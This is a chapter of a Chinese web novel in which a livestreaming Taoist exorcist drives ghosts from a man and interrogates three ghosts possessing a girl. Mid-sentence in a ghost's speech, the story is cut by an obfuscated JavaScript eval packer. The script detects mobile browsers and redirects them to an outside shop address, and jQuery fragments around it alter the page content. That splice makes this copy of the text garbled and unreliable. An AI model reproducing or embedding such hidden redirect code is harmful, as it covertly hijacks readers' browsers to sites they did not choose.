沈知鸢目光落在丁云磊身上,他满身污血、双眼空洞地拍打玻璃,头顶上,隐约能看到三团拳头大小的黑色鬼影不停呓语。指尖符纸化为灰烬,她轻声念出一段净天地神咒*。
“天地自然,秽炁分散。洞中玄虚,晃朗太元。八方威神,使我自然。灵宝符命,普告九天……按行五岳,八海知闻。魔王束首,侍卫我轩。凶秽消散,道炁常存。*”
话落,丁云磊愣怔一瞬,空洞无神的眼底划过一抹愣怔。眼神还未完全聚焦,‘哐当’一声,体力不支得砸到地上。
张居正又惊又惧地抬头看去,发现一直死死纠缠丁云磊的三只鬼影消失不见了。
他露出大喜过望的笑容,正要对沈知鸢千恩万谢。曾经回荡在他噩梦中的可怕啼哭声忽然在耳边响起。
“爸爸,你为什么不要我了?你不是说我是你最喜欢的宝贝嘛?”
“你答应用过的,这辈子只要我一个孩子就够了?你为什么又养了其他小孩?!”
“爸爸,你已经好久没给我买玩具!我想要上次看的坦克模型,如果你不给我买,那就把你的头骨送给我吧!”
“不够不够!只要有头骨怎么够我们分的?应该让爸爸把他的尸体送给我们!”
凄厉诡异的质问声、撒娇声在张居正耳边不停重复。他一只手捂住耳朵,另一只手不停挥拳,想把这些声音驱赶走。
可这些与他有血缘兼不正当关系的鬼魂哪有这么好打发,一句句话像是逐渐按下扩音键似的,把张居正吵得精神崩溃,五官扭曲,不管不顾地在马路上奔跑起来。
“时间不早了,回去吧。”沈知鸢不打算继续管这事。
张居正为了敛财豢养小鬼、伤害无辜人,落得个不得好死的下场实属活该,没有出手营救的必要。
-
第二天,沈知鸢上午十点准时开启直播。
【早上在便利店买到了梅干菜包子,我就知道,今天肯定是运气爆棚的一天,果然,刚在工位上坐下没多久鸢姐就开直播了!】
【昨天经过警局,看到了鸢姐和陈队在一起,是遇到了很麻烦的案件吗?】
【我晚上还在R市看到鸢姐了呢!一整天都没闲下来,鸢姐太辛苦了!今天不用休息一天再开播吗?】
【还是身体最重要,虽然我们每天都嚷嚷着不开播就爬墙,但也只是说说而已!鸢姐还是要以身体为重!】
“谢谢大家的关心,我会多多注意身体。”看着弹幕上满满的关心,沈知鸢莞尔一笑,“倒计时三十秒,需要任何玄学方面的帮助,可以点击按钮参与连线。”
倒计时结束,沈知鸢念出对方的ID,“岁月静好,现在方便连线吗?”
“方便方便!”那边传来岁月静好急切的声音,“大师,您看看您要找的是这位大师吧?”
直播屏幕一分为二,年过五旬、双眼通红、满脸憔悴的岁月静好出现在右半边屏幕,她紧张地把手机挪过去,不到一会,屏幕中出现了一个穿着道袍、气质不凡,手上却缠了一圈纱布的道长。
那道长看到沈知鸢后,明显松了口气,对着摄像头恭恭敬敬拜了三拜。
“贫道白鹤,叨扰沈大师了。”
【白鹤山人?是前几天在鸢姐直播间团建的团建的玄师之一吗?!】
【刚才听到阿姨的对话我还没反应过来,大师找大师?!原来是搬救兵啊!】
【看来这次的事不简单啊,不然白鹤山人也不会来求助鸢姐了!】
【正阳子V:这老东西运气真好,竟然意外跟沈大师连上线了!早知道我就跟他一块去了!】
【素云道人V:谁说不是呢!】
沈知鸢颔首,示意白鹤山人继续往下说,“沈大师,昨天岁月静好也就是马女士找到了我,说她女儿这两天性格多变,身上无缘无故出现了多处淤青,对离开房间有很深的恐惧,疑似撞上了不干净的东西,想让我帮忙看看。”
“马女士家中阴气很重,一看就有厉鬼纠缠。我开坛作法招魂,想把他们叫出来问问怎么才能了事。但他不配合……”
白鹤山人说到这,没再继续往下说。偏转摄像头把用衬衫固定住身体,浑身贴满黄符纸的‘宋洛’拍了进去。
‘宋洛’原本把头埋在双.腿中间,感知到手机的靠近,她猛地抬起头,没有眼白、如黑洞一般的双眼死死盯着摄像头,她伸长脖子,张着一口浸满鲜血的尖牙咬了过来。
沈知鸢眯了眯眼,浅褐色眸子像是冻结的湖面,暗藏危险和杀机。
来自灵魂深处的恐惧给了‘宋洛’当头一棒,她硬生生止住动作,吞了吞口水,又恢复成原来端坐的样子。甚至诡异、僵硬的脸上还透露出一股……乖巧。
【我本来挺紧张的,可看到厉鬼见到鸢姐这副挺胸抬头、端正乖巧的样子,忍不住笑了!】
【厉鬼:我是鬼,不是傻,她有多厉害我能看不出来?!】
【厉鬼:软柿子找了个穿金钟罩、练铁布衫的硬石头,不讲武德!】
【我就说打印鸢姐照片是有用的吧!不仅养眼,还能逼退厉鬼!刚才眯眼的表情我做成动图了,直播完就把屏保安排上!】
【楼上,难道你是天菜?!同为鸢姐粉丝,我就不客气,记得把截好的屏保发到动态里!】
看着‘宋洛’畏畏缩缩的模样,白鹤山人满眼钦佩,摸了摸腕上的咬伤。
果然,这鬼还得交给沈大师处理,即使他勉强把鬼困住,说服他放过马女士一家依旧不可能。
马女士双眼圆瞪,震惊的目光在手机屏幕和‘宋洛’身上不断切换。
这、这位年轻的玄师真厉害,只用一个眼神就震慑住了厉鬼。
难怪白鹤山人要求助她!
“说说吧。”像聊天似的,沈知鸢姿态悠闲地端起茶杯喝了口茶。
‘宋洛’惧怕沈知鸢,但他也是只实打实的厉鬼,且这件事情是他们先挑起的。
“大师,这事您还真问不到我身上。”‘宋洛’哼了声,秀气、书卷气十足的小姑娘开口,却是个阴森恐怖的男声,“六十年前我死于车祸,肇事司机害怕赔钱蹲局子把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456064|193814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的尸体拉倒乱葬岗随便挖了个坑埋了。”
“这几十年,我从没收到过家人的供奉,在地府过得清贫又拮据,好不容易买上房子,还被这个小丫头一把火烧了,您说说,这事放在您身上能轻易善了?”
“还有我今年刚提的新车!花了大半身家,开的次数一只手都数得过来,就这么没了!”另一个略显清朗的声音再次响起。
白鹤山人和马女士嘴唇微张,不可思议看着‘宋洛’。
她、她身体里竟然有两只鬼!
还不等两人惊讶完,另一个苍老的声音响起了起来。
“如果只是损失点财产也就算了,让这家父母几倍赔给我们就是了,可、可这小丫头竟然敢在我们坟头上跳来跳去,还差点把我的尸骨挖出来。”
【三只鬼!怪不得白鹤山人解决不了!】
【好家伙!小妹妹看着文静,实际这么胆大狂野?!我们只是嘴上说说坟头蹦迪,你竟然真去做了!】
【你还挖了人家的坟?!老爷爷一把年纪了,又被葬在乱葬岗,你……】
【不了解真相前,我觉得错在厉鬼身上,了解真相后,鬼爷爷们这么做是有道理的!】
【上了班,背上房贷、车贷以后,我好能共情鬼魂们!】
方才‘宋洛’不配合,白鹤山人也没从他嘴里得到有用的信息,如今听三只鬼说了这些,脸色复杂无比。
原以为是宋洛不小心招惹了鬼,没想到是她自己作死!
马女士眸光震动,着急地反驳道:“不、洛洛很胆小,她不可能做这种事!”
她是宋洛的妈妈,也是最了解她的人。宋洛从小就怕鬼,鬼故事、鬼片连看都不敢看,她怎么可能去乱葬岗?!
马女士着急得眼泛泪花,盯着屏幕中的沈知鸢,眼底带着祈求。
“沈大师,洛洛没胆子做这种事,请、请你好好断一断!”
沈知鸢平静的视线在‘宋洛’身上定个几秒,声音笃定道。
“宋洛的八字日主弱、官杀过旺无制化,明显是个胆子很小的女孩。而且,你们所说的是发生在五天前,可马女士和宋洛身上只有稳定的‘金’气,证明这段时间她们一直待在城市里,从没去过‘土’、‘木’多的乱葬岗。”
沈知鸢缓慢眨了下眼睛,眼底闪过一抹思索,“如今你们三只鬼均认为这事是宋洛做的,我不认为是巧合,更像有人刻意引导。”
【祸水东引?!我靠!这人也太坏了!】
【三只鬼呢,我甚至都怀疑有人刻意针对马阿姨和妹妹可以设的局!】
【我不是刻板印象,但坟头蹦迪、挖人尸骨这事怎么看都像缺少管教、无法无天的男孩子做的!有的女生连夜路都不敢自己走,何况是去乱葬岗那种地方!】
【我一个女孩子加完班回家,连个没有路灯的小路都不敢走,何况是乱葬岗那地方!】
沈知鸢指头有节奏的在桌面上点了几下,“这人一定跟你或宋洛有过接触,再看这三只鬼笃定的样子,那件误导性的东西应该还摆在你家里。”